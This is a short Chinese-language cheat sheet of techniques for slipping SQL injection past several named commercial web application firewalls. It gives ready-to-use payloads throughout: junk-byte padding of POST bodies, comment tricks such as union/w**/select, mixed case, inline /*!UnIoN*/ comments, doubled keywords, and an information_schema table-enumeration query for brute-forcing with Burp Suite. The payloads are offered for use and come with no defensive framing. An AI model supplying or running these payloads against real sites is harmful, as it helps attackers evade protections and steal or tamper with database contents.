360主机卫士、云锁、安全狗WAF绕过姿势
1、请求方式绕过:
程序首先判断是什么方式请求,然后有对应的拦截请求,发送POST请求的时候,在请求体中没有发现恶意攻击请求,然而并没有检测url上的攻击POLOAD;
2、资源限制角度绕过:
(1)、垃圾字符填充:
如果HTTP请求POST BODY太大,检测所有的内容,WAF集群消耗太大的CPU、内存资源。因此许多WAF只检测前面的几K字节、1M、或2M。对于攻击者而然,只需要在POST BODY前面添加许多无用数据,把攻击payload放在最后即可绕过WAF检测。
垃圾字符用/**/包裹起来
Pyload: id=1/*垃圾字符*/+order+by+1%23 (POST请求) 该方式适用于360主机卫士和安全狗
(2)/**/方式绕过:
1、安全狗绕过:
Pyload: union/w**/select/w**/1,2
对于安全狗使用/**/绕过的时候,右边的必须大于或等于2个*号,中间的字符串必须大于或等于1个字母的时候即可绕过安全狗
2、云锁绕过:
Pyload: union/w’/select/w’/1,2
对于云锁使用/**/绕过的时候,只要在其中加入‘就可以绕过
综上:
Pyload: union/w’**/select/w’**/1,2
D盾、WTS WAF绕过姿势
首先要知道WTS过滤了哪些,据本人实战发现,以下内容会触发拦截:
空格 group_concat() and or union select
1、空格过滤绕过:
可以通过 + 号,%0a、/**/等进行绕过
2、group_concat()绕过:
方式一:可以使用concat_ws()进行绕过
方式二:使用BurpSuite爆破
Pyload: ?id=1+UnIoN+SeLeCT+1,2,table_name,4,5+from+information_schema.tables+where+table_schema=database()+limit+$$0$$,1
3、and、or绕过
and=>&& or=>||
4、union select绕过
方式一:使用大小写绕过
id=-1'UnIoN/**/SeLeCT
方式二:内敛注释绕过
id=-1'/*!UnIoN*/ SeLeCT
方式三:双写绕过
id=-1'UNIunionON%0aSeLselectECT